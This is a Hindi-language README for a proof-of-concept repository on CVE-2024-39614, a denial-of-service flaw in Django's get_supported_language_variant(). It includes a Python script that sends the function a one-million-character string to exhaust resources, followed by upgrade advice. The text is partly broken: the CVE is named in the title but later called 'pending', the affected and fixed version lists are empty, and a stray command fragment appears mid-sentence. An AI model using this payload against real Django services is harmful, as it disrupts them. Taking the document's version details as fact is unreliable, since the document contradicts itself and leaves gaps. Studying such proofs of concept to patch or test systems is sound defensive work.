
CVE-2024-39614 के लिए प्रमाण-अवधारणा, एक Django डेनियल-ऑफ-सर्विस भेद्यता। get_supported_language_variant() में लंबे स्ट्रिंग के माध्यम से संसाधन थकावट प्रदर्शित करता है, जो Django 5.0.7 और 4.2.14 से पहले के संस्करणों को प्रभावित करता है।
इस रिपॉजिटरी में Django के संस्करण 5.0 (5.0.7 से पहले) और 4.2 (4.2.14 से पहले) में Denial-of-Service (DoS) भेद्यता को प्रदर्शित करने वाली एक प्रूफ ऑफ कॉन्सेप्ट (PoC) स्क्रिप्ट शामिल है। यह भेद्यता get_supported_language_variant() फ़ंक्शन में निहित है, जो विशिष्ट वर्णों वाले बहुत लंबे स्ट्रिंग्स को संभालने पर संभावित DoS हमले के प्रति संवेदनशील है।
CVE-ID: (लंबित)
सारांश:
Django के संस्करण 5.0 (5.0.7 से पहले) और 4.2 (4.2.14 से पहले) में get_supported_language_variant() फ़ंक्शन एक Denial-of-Service हमले के प्रति संवेदनशील है। इस फ़ंक्शन का शोषण विशिष्ट वर्णों वाले बहुत लंबे स्ट्रिंग भेजकर किया जा सकता है, जिससे संसाधनों की कमी (resource exhaustion) और परिणामस्वरूप Denial-of-Service की स्थिति उत्पन्न हो सकती है।
प्रभावित संस्करण:
सुधारित संस्करण:
pip install django)यह स्क्रिप्ट प्रदर्शित करती है कि कैसे एक हमलावर get_supported_language_variant() फ़ंक्शन को एक बहुत लंबा स्ट्रिंग भेजकर भेद्यता का शोषण कर सकता है।
निम्नलिखित स्क्रिप्ट को dos_poc.py के रूप में सहेजें और चलाएँ।
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() फ़ंक्शन भेद्यता का परीक्षण करने के लिए बहुत लंबे स्ट्रिंग के साथ get_supported_language_variant() को कॉल करता है।इस भेद्यता को शमन करने के लिए, Django के सुधारित संस्करणों में अपग्रेड करें:
अपने Django इंस्टॉलेशन को नवीनतम सुरक्षित संस्करण में अपडेट करने के लिए आधिकारिक Django अपग्रेड निर्देश का पालन करें।
अपने सॉफ़्टवेयर को अद्यतित रखकर और सुरक्षा सर्वोत्तम प्रथाओं का पालन करके, आप Django में इस DoS समस्या जैसी भेद्यताओं को रोक सकते हैं।